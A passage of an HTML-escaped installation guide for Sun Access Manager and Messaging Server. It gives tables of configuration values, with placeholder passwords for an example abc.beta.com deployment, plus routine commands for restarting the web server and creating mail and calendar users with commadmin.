Server Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45002"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [8800] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46164"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45018"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administrator User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45020"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [admin] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45022"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45024"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administrator Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45026"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45028"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45030"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Secure Administration Server Instance? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45032"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45039"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39660"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Default Domain Separator &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39662"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [@] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39664"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39666"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Access Manager Base Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39668"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/opt/SUNWam] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39670"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39672"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Install Root Directory (for DA Server) &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39674"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/opt/SUNWwbsvr7] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39676"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45045"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Instance Root Directory &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45047"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/var/opt/SUNWwbsvr7] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45049"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39678"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Server Instance Identifier &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39680"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39682"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39684"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Virtual Server Identifier &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45055"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39688"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39690"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server HTTP Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39692"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [80] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46170"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45061"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administration Server Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45063"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [8800] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46176"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45067"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administrator User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45069"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [admin] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45071"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45073"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administrator Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45075"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45077"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45079"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Secure Administration Server Instance? &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45081"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45083"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39696"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; URL of Directory Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39698"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [ldap://ds.abc.beta.com:389] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39700"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39702"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Bind As &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39704"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [cn=Directory Manager] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39706"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39708"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39710"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39712"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39714"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; AM Top level admin &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39716"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [amadmin] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39718"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39720"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; AM admin password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39722"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39724"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39726"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Access Manager Internal LDAP Auth Username &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39728"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; amldapuser &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39730"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39732"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; AM Internal LDAP Auth Password for amldapuser &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39734"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39736"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;nadminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39738"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Organization DN &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39740"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [o=abc.beta.com,o=beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39742"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45090"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Top Level Admin for Default Organization &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45092"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [admin] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45105"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45096"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45098"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45100"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; adminpass &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39756"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Load Sample Service Packages &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39758"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39760"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Yes (Checked)&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39762"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Load Sample Organizations &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39764"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39766"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Yes (Checked)&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39768"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Preferred Mailhost for Sample &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39770"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [mail.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp39772"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp39774"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select Configure Now.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41911"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The script begins to run. &lt;/p&gt;&lt;a name="wp41912"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;When the panel displays “All Tasks Passed,” click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp43427"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Two warnings appear: one is remind you to restart Web Server; the other is to remind you to enable the mail and calendar services in the domain. The next steps correct these problems. &lt;/p&gt;&lt;a name="wp41918"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Close to complete the configuration.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41316"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Restart Web Server:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39779"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /var/opt/SUNWwbsvr7/https-am.abc.beta.com/bin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp39780"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./stopserv&lt;/span&gt; &lt;/p&gt;&lt;a name="wp39781"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./startserv&lt;/span&gt; &lt;/p&gt;&lt;a name="wp39782"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Modify the mail and calendar domains, and create users by using the &lt;span class="cCode"&gt;commadmin&lt;/span&gt; utility:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39790"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt;    &lt;table summary="Table border" border="1" cellpadding="2" cellspacing="0" width="90%"&gt; &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;  &lt;table summary="This table is used for code examples" id="wp39785" border="0" cellpadding="2"&gt;   &lt;tbody&gt;&lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp39785"&gt;&lt;/a&gt;/opt/SUNWcomm/bin/commadmin domain modify -D admin -w adminpass -X am.abc.beta.com -n abc.beta.com -p 80 -d abc.beta.com -S mail,cal -H mail.abc.beta.com&lt;br /&gt;&lt;br /&gt;/opt/SUNWcomm/bin/commadmin user create -D admin -F Alvin -l alvin -L Ding -n abc.beta.com -p 80 -w adminpass -W demo -X am.abc.beta.com -S mail,cal -E alvin@abc.beta.com -H mail.abc.beta.com&lt;br /&gt;&lt;br /&gt;/opt/SUNWcomm/bin/commadmin user create -D admin -F Calendar -l calmaster -L Master -n abc.beta.com -p 80 -w adminpass -W adminpass -X am.abc.beta.com -S mail,cal -E calmaster@abc.beta.com -H mail.abc.beta.com&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;a name="wp45116"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt;Create as many users as you need. Steps later in this document show how to add Presence and Instant Messaging services to those users. &lt;/p&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp39794"&gt; &lt;/a&gt;&lt;h2 class="pHeading2"&gt; Configuring Messaging Server &lt;/h2&gt; &lt;a name="wp39820"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section describes configuring Messaging Server, including configuring the Webmail port. &lt;/p&gt; &lt;a name="wp39818"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Configure Messaging Server &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp34686"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Run the Messaging Server configure script on mail.abc.beta.com:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34687"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /opt/SUNWmsgsr/sbin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp39825"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./configure&lt;/span&gt; &lt;/p&gt;&lt;a name="wp34688"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The Configuration Wizard appears. Read the introductory information and proceed by clicking Next. &lt;/p&gt;&lt;a name="wp34689"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Verify the following:&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList2"&gt;&lt;ol class="pSmartList2" type="a"&gt;&lt;a name="wp34690"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Fully qualified host name of Messaging Server, FQHN: [&lt;span class="cCode"&gt;mail.abc.beta.com&lt;/span&gt;]&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34691"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Directory to store config/data files: [&lt;span class="cCode"&gt;/var/opt/SUNWmsgsr&lt;/span&gt;]&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41924"&gt; &lt;/a&gt;&lt;p class="pStepParaI2"&gt; When prompted, choose to create the new directory. &lt;/p&gt;&lt;a name="wp34692"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Install MTA, Message Store, and Webmail Server. There is no need to install the Multiplexor for this deployment.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34694"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Name of the mail server Unix user: Unix username [&lt;span class="cCode"&gt;mailsrv&lt;/span&gt;]&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34695"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Unix group: [&lt;span class="cCode"&gt;mail&lt;/span&gt;]&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt;&lt;a name="wp34696"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The installation script prompts for a series of options. Use the following table to respond to the configuration options:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34773"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq34697" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp34702"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table 9  Values for Messaging Server &lt;span class="cCode"&gt;configure&lt;/span&gt; Script   &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp34708"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Option &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp34710"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; [Default Value] &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp34712"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Enter: &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45118"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; User/Group Server LDAP &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34716"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [ldap://ds.abc.beta.com:389] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34718"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34720"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Bind As &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34722"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [cn=Directory Manager] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34724"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34726"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34728"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34730"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34750"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Postmaster email address &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34752"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34754"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;alvin@abc.beta.com&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34756"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password for Messaging Server accounts &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34758"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34760"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34762"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Default email Domain &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34764"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp37922"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34768"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Organization DN &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp34770"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [o=abc.beta.com,o=beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp37928"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp34774"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next, then click Configure Now.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48294"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt;You will receive an error about the Webmail port being in use. Click OK to acknowledge this message. The configuration begins. The following step corrects the Webmail port problem. &lt;/p&gt;&lt;a name="wp38294"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;When the configuration is finished, click Next to continue, then click Close to exit.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp37368"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="This table is used for Notes, Tips, and Cautions" id="wp46186" border="0" width="90%"&gt;   &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46186"&gt; &lt;/a&gt;&lt;p class="pNote"&gt; Note &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46188"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt;You might observe a failure such that not all the messaging configuration tasks have passed. If this is the case, rerun the Messaging Server configuration script by repeating all the steps above. When prompted for the directory to store configuration or data files, use the same directory as before. A popup window will state that this directory already exists. Click Accept Anyway to verify that the same directory will be used.&lt;/p&gt;&lt;p class="pParagraph"&gt;&lt;br /&gt;&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp46183"&gt; &lt;/a&gt;&lt;div 